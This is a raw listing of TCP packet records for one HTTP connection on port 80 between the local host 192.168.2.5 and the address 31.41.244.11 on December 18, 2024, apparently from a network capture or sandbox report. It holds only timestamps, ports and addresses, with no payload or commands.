Dec 18, 2024 15:22:14.251399040 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.252345085 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.252486944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.252513885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.253037930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.253449917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.253599882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.253642082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.253642082 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.254384995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.254432917 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.254472971 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.254834890 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.255417109 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.255505085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.255533934 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.256320000 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.256369114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.256369114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.256422043 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.257412910 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.257463932 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.257463932 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.257520914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.258754969 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.258824110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.258824110 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.258836985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.258991003 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.259797096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.259860039 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.260085106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.260085106 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.260632038 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.260672092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.260735989 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.260971069 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.261677980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.261718035 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.261782885 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.261848927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.262702942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.262769938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.262790918 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.263149977 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.263797998 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.263869047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.263907909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.263907909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.264910936 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.264952898 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.265014887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.265146017 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.265955925 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.266026020 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.266083002 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.266290903 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.267026901 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.267101049 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.267107010 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.267218113 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.268095970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.268213987 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.268261909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.268261909 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.269191980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.269337893 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.270296097 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.270344973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.270345926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.270345926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.270345926 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.271399021 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.271445036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.271480083 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.271581888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.271581888 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.272658110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.272715092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.272779942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.273148060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.273529053 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.273578882 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.273591995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.273684025 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.274600029 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.274646997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.274727106 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.274797916 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.275674105 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.275726080 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.275804043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.275804043 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.276735067 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.276880980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.276916981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.276916981 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.277885914 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.277956009 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.278362989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.278362989 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.278918982 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.279068947 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.279103994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.279103994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.279990911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.280143023 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.281048059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.281092882 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.281092882 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.281092882 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.281147003 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.281327963 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.282255888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.282305002 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.282367945 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.282707930 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.283364058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.283425093 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.283471107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.283471107 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.284398079 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.284543037 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.284583092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.284583092 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.285446882 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.285500050 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.285520077 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.285604954 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.286556959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.286638021 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.286643982 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.286710978 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.287569046 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.287792921 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.287832022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.287832022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.288624048 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.288675070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.288777113 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.288815022 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.289726973 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.289771080 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.289858103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.289901972 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.290810108 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.290855885 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.290901899 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.291239023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.291848898 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.291906118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.291963100 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.292115927 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.292917967 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.292974949 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.293057919 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.293307066 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.294039011 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.294078112 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.294150114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.294188023 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.295125008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.295165062 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.295232058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.295284033 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.296178102 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.296231031 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.296231985 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.296402931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.297247887 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.297333002 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.297385931 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.298352957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.298399925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.298399925 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.298425913 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.299622059 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.300343990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.300343990 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.434845924 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.435015917 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.435018063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.435197115 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.435372114 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.435507059 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.435523987 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.436464071 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.436503887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.436503887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.436633110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.436728954 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.437505007 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.437669992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.437679052 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.437721014 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.438673019 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.438785076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.438788891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.438932896 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.439692974 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.439825058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.440783978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.440824986 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.440824986 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.440824986 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.440890074 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.441322088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.441832066 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.442049980 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.442094088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.442094088 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.443057060 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.443089008 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.443133116 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.443133116 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.444096088 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.444211960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.444251060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.444251060 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.445105076 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.445173979 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.445250988 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.445327997 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.446286917 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.446347952 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.446367979 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.446393967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.447348118 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.447361946 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.447390079 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.447417974 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.448447943 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.448515892 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.448678970 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.448940992 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.449562073 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.449644089 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.449656963 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.449754000 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.450588942 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.450647116 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.450692892 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.450742006 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.451632977 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.451661110 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.451683998 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.451702118 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.452675104 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.452749968 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.452749968 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.452815056 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.454045057 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.454124928 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.454144955 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.454168081 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.454977036 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.455024958 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.455183983 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.455298901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.455981016 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.455992937 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.456053019 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.457509995 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.457520962 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.457571983 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.458187103 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.458246946 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.458498001 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.458640099 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.459247112 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.459331036 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.459414959 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.459697962 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.460227966 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.460334063 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.460347891 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.460386038 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.461353064 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.461440086 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.461487055 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.461527109 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.462496042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.462615013 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.462634087 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.462742090 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.463588953 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.463675976 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.463712931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.463712931 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.464622021 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.464716911 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.464735985 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.464783907 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.465698957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.465814114 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.465893984 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.466444969 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.466721058 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.466780901 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.466783047 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.466969967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.467925072 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.468031883 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.468064070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.468648911 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.469084978 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.469166994 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.469624996 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.469743967 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.470297098 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.470438957 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.470809937 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.470809937 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.471172094 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.471223116 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.471251965 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.471338987 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.472090960 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.472225904 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.472249031 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.472302914 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.473149061 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.473226070 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.473265886 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.473310947 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.474364042 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.474427938 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.474546909 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.474654913 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.475379944 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.475399017 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.475421906 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.475441933 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.476515055 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.476577997 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.476593018 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.476643085 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:14.477739096 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.477796078 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:14.477816105 CET	49910	80	192.168.2.5	31.41.244.11
